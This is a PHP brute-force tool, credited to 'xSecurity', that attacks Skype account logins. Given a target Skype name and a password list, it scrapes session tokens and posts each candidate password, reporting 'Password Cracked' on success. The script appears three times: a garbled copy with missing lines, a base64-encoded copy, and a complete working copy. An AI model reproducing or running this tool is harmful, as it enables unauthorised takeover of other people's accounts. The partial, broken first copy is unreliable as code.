<form method='POST'>
<title>Skype Brute Force 2013 By xSecurity</title>
<center>
<img src='http://w...content-available-to-author-only...y.com/wp-content/uploads/2012/11/Skype-icon.png'><br>
<input type='text' name='skypename' placeholder='Skype Name' size='38'><br>
<textarea rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br>
<input type='submit' value='Start Brute' name='brute'><br>
</center>
</form>
<?
# Brute Force Skype PHP Version
# Coded By : xSecurity
# Greets To : (( Sec4ever.CoM )) - (( x3 Group )) - (( is-sec.CoM ))
$skype = "https://l...content-available-to-author-only...e.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
# Username & Password
$username = $_POST['skypename'];
$password = explode("\r\n", $_POST['passwords']);
# time zone
$date = date('H:i:s'); //Returns IST
# header
$header = "HTTP/1.1 302";
# Fucntion Detalis
function xsecurity($skype)
{
preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash); preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie); preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm); return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];
}
# Explode Detalis
$xsec = explode("|:|" ,xsecurity
($skype)); $token = $xsec[0];
$pie = $xsec[1];
$etm = $xsec[2];
# Function Brute
function brute($skype,$username,$pass,$header)
{
curl_setopt($ch, CURLOPT_POSTFIELDS
, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin"); {
echo "<font face='Tahoma' size='2'><center>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></font></center>";
}
return $brute;
}
if($_POST['brute'])
{
foreach($password as $pass)
{
brute($skype,$username,$pass,$header);
}
}
echo "<center><br><font face='Tahoma' size='5' color='red'>Coded By : xSecurity --> Sec4ever.CoM</font></center>";
?>
PGZvcm0gbWV0aG9kPSdQT1NUJz4KPHRpdGxlPlNreXBlIEJydXRlIEZvcmNlIDIwMTMgQnkgeFNlY3VyaXR5PC90aXRsZT4KPGNlbnRlcj4KPGltZyBzcmM9J2h0dHA6Ly93Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi55LmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxMi8xMS9Ta3lwZS1pY29uLnBuZyc+PGJyPgo8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2t5cGVuYW1lJyBwbGFjZWhvbGRlcj0nU2t5cGUgTmFtZScgc2l6ZT0nMzgnPjxicj4KPHRleHRhcmVhIHJvd3M9JzE2JyBjb2xzPSczOCcgbmFtZT0ncGFzc3dvcmRzJyBwbGFjZWhvbGRlcj0ncGFzc3dvcmRzJz48L3RleHRhcmVhPjxicj4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1N0YXJ0IEJydXRlJyBuYW1lPSdicnV0ZSc+PGJyPgo8L2NlbnRlcj4KPC9mb3JtPgo8PwoJQHNldF90aW1lX2xpbWl0KDApOwoJIyBCcnV0ZSBGb3JjZSBTa3lwZSBQSFAgVmVyc2lvbiAKCSMgQ29kZWQgQnkgOiB4U2VjdXJpdHkKCSMgR3JlZXRzIFRvIDogKCggU2VjNGV2ZXIuQ29NICkpIC0gKCggeDMgR3JvdXAgKSkgLSAoKCBpcy1zZWMuQ29NICkpCgkKCQoJJHNreXBlID0gImh0dHBzOi8vbC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZS5jb20vbG9naW4/YXBwbGljYXRpb249YWNjb3VudCZyZXR1cm5fdXJsPWh0dHBzJTNBJTJGJTJGc2VjdXJlLnNreXBlLmNvbSUyRmFjY291bnQlMkZsb2dpbiI7CgkjIFVzZXJuYW1lICYgUGFzc3dvcmQKCSR1c2VybmFtZSA9ICRfUE9TVFsnc2t5cGVuYW1lJ107CgkkcGFzc3dvcmQgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWydwYXNzd29yZHMnXSk7CgkKCSMgdGltZSB6b25lIAogICAgJHRpbWUgPSBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCJBc2lhL1JpeWFkaCIpOwoJJGRhdGUgPSBkYXRlKCdIOmk6cycpOyAvL1JldHVybnMgSVNUIAoJCgkjIGhlYWRlciAKCSRoZWFkZXIgPSAiSFRUUC8xLjEgMzAyIjsKCQoJIyBGdWNudGlvbiBEZXRhbGlzCglmdW5jdGlvbiB4c2VjdXJpdHkoJHNreXBlKQoJewoJCSRjaCA9IGN1cmxfaW5pdCgpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRza3lwZSk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUpBUiwgZ2V0Y3dkKCkuIi4vY29va2llLnR4dCIpOwoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUZJTEUsIGdldGN3ZCgpLiIuL2Nvb2tpZS50eHQiKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJCSRydW4gPSBjdXJsX2V4ZWMoJGNoKTsKCQlwcmVnX21hdGNoKCcvPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic2Vzc2lvbl90b2tlbiIgdmFsdWU9IiguKj8pIi8nLCAkcnVuLCAkaGFzaCk7CgkJcHJlZ19tYXRjaCgnLzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBpZSIgaWQ9InBpZSIgdmFsdWU9IiguKj8pIi8nLCAkcnVuLCAkcGlpZSk7CgkJcHJlZ19tYXRjaCgnLzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImV0bSIgaWQ9ImV0bSIgdmFsdWU9IiguKj8pIi8nLCAkcnVuLCAkZXRtbSk7CgkJcmV0dXJuICRoYXNoWzFdLiJ8OnwiLiRwaWllWzFdLiJ8OnwiLiRldG1tWzFdOwoJfQoJCgkjIEV4cGxvZGUgRGV0YWxpcyAKCSR4c2VjID0gZXhwbG9kZSgifDp8IiAseHNlY3VyaXR5KCRza3lwZSkpOwoJJHRva2VuID0gJHhzZWNbMF07CgkkcGllID0gJHhzZWNbMV07CgkkZXRtID0gJHhzZWNbMl07CgkKCSMgRnVuY3Rpb24gQnJ1dGUKCWZ1bmN0aW9uIGJydXRlKCRza3lwZSwkdXNlcm5hbWUsJHBhc3MsJGhlYWRlcikKCXsKCQkkY2ggPSBjdXJsX2luaXQoKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkc2t5cGUpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgInVzZXJuYW1lPXskdXNlcm5hbWV9JnBhc3N3b3JkPXskcGFzc30mdGltZXpvbmVfZmllbGQ9JTJCMDMlN0MwMCZwaWU9eyRwaWV9JmV0bT17JGV0bX0manNfdGltZT17JGRhdGV9JnNlc3Npb25fdG9rZW49eyR0b2tlbn0mYXBwbGljYXRpb249YWNjb3VudCZyZXR1cm5fdXJsPWh0dHBzJTNBJTJGJTJGc2VjdXJlLnNreXBlLmNvbSUyRmFjY291bnQlMkZsb2dpbiIpOwoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUpBUiwgZ2V0Y3dkKCkuIi4vY29va2llLnR4dCIpOwoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUZJTEUsIGdldGN3ZCgpLiIuL2Nvb2tpZS50eHQiKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJCSRicnV0ZSA9IGN1cmxfZXhlYygkY2gpOwoJCWlmKHN0cnN0cigkYnJ1dGUsICRoZWFkZXIpKQoJCXsKCQkJZWNobyAiPGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Y2VudGVyPlsrXSBQYXNzd29yZCBDcmFja2VkIGlzIDxiPnskcGFzc308L2I+IC0tPiA8Yj57JHVzZXJuYW1lfTwvYj48L2ZvbnQ+PC9jZW50ZXI+IjsKCQl9CgkJcmV0dXJuICRicnV0ZTsKCX0KCWlmKCRfUE9TVFsnYnJ1dGUnXSkKCXsKCQlmb3JlYWNoKCRwYXNzd29yZCBhcyAkcGFzcykKCQl7CgkJCWJydXRlKCRza3lwZSwkdXNlcm5hbWUsJHBhc3MsJGhlYWRlcik7CgkJfQoJfQoJZWNobyAiPGNlbnRlcj48YnI+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPSc1JyBjb2xvcj0ncmVkJz5Db2RlZCBCeSA6IHhTZWN1cml0eSAtLT4gU2VjNGV2ZXIuQ29NPC9mb250PjwvY2VudGVyPiI7Cj8+
<form method='POST'>
<title>Skype Brute Force 2013 By xSecurity</title>
<center>
<img src='http://w...content-available-to-author-only...y.com/wp-content/uploads/2012/11/Skype-icon.png'><br>
<input type='text' name='skypename' placeholder='Skype Name' size='38'><br>
<textarea rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br>
<input type='submit' value='Start Brute' name='brute'><br>
</center>
</form>
<?
@set_time_limit(0);
# Brute Force Skype PHP Version
# Coded By : xSecurity
# Greets To : (( Sec4ever.CoM )) - (( x3 Group )) - (( is-sec.CoM ))
$skype = "https://l...content-available-to-author-only...e.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
# Username & Password
$username = $_POST['skypename'];
$password = explode("\r\n", $_POST['passwords']);
# time zone
$time = date_default_timezone_set("Asia/Riyadh");
$date = date('H:i:s'); //Returns IST
# header
$header = "HTTP/1.1 302";
# Fucntion Detalis
function xsecurity($skype)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $skype);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$run = curl_exec($ch);
preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];
}
# Explode Detalis
$xsec = explode("|:|" ,xsecurity($skype));
$token = $xsec[0];
$pie = $xsec[1];
$etm = $xsec[2];
# Function Brute
function brute($skype,$username,$pass,$header)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $skype);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$brute = curl_exec($ch);
if(strstr($brute, $header))
{
echo "<font face='Tahoma' size='2'><center>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></font></center>";
}
return $brute;
}
if($_POST['brute'])
{
foreach($password as $pass)
{
brute($skype,$username,$pass,$header);
}
}
echo "<center><br><font face='Tahoma' size='5' color='red'>Coded By : xSecurity --> Sec4ever.CoM</font></center>";
?>